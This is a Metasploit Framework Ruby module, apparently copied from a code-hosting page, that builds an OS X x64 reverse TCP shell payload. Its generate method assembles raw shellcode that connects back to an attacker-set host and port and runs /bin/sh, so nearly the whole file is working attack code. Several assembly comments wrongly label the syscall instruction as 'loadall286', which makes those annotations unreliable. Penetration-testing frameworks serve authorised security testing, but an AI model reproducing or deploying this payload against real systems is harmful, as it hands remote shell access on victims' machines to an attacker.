89 lines
3.6 KiB
Ruby
89 lines
3.6 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Payload::Osx
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'OS X x64 Shell Reverse TCP',
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'Version' => '$Revision$',
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'Description' => 'Connect back to attacker and spawn a command shell',
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'Author' => 'nemo <nemo[at]felinemenace.org>',
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'License' => MSF_LICENSE,
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'Platform' => 'osx',
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'Arch' => ARCH_X86_64,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShellUnix
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))
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# exec payload options
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register_options(
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[
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OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),
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OptString.new('LPORT',[ true, "The port to connect to", "5555" ]),
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OptString.new('LHOST',[ true, "The host to connect to", "127.0.0.1" ])
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], self.class)
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end
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# build the shellcode payload dynamically based on the user-provided CMD
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def generate
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cmd = (datastore['CMD'] || '') << "\x00"
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port = [datastore['LPORT'].to_i].pack('n')
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ipaddr = [datastore['LHOST'].split('.').inject(0) {|t,v| (t << 8 ) + v.to_i}].pack("N")
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call = "\xe8" + [cmd.length].pack('V')
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payload =
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"\xB8\x61\x00\x00\x02" + # mov eax,0x2000061
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"\x6A\x02" + # push byte +0x2
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"\x5F" + # pop rdi
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"\x6A\x01" + # push byte +0x1
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"\x5E" + # pop rsi
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"\x48\x31\xD2" + # xor rdx,rdx
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"\x0F\x05" + # loadall286
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"\x49\x89\xC4" + # mov r12,rax
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"\x48\x89\xC7" + # mov rdi,rax
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"\xB8\x62\x00\x00\x02" + # mov eax,0x2000062
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"\x48\x31\xF6" + # xor rsi,rsi
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"\x56" + # push rsi
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"\x48\xBE\x00\x02" + port + # mov rsi,0x100007fb3150200
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ipaddr +
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"\x56" + # push rsi
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"\x48\x89\xE6" + # mov rsi,rsp
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"\x6A\x10" + # push byte +0x10
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"\x5A" + # pop rdx
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"\x0F\x05" + # loadall286
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"\x4C\x89\xE7" + # mov rdi,r12
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"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
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"\x48\x31\xF6" + # xor rsi,rsi
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"\x0F\x05" + # loadall286
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"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
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"\x48\xFF\xC6" + # inc rsi
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"\x0F\x05" + # loadall286
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"\x48\x31\xC0" + # xor rax,rax
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"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
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call + # call CMD.len
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cmd + # CMD
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"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
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"\x48\x31\xD2" + # xor rdx,rdx
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"\x52" + # push rdx
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"\x57" + # push rdi
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"\x48\x89\xE6" + # mov rsi,rsp
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"\x0F\x05" # loadall286
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end
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end
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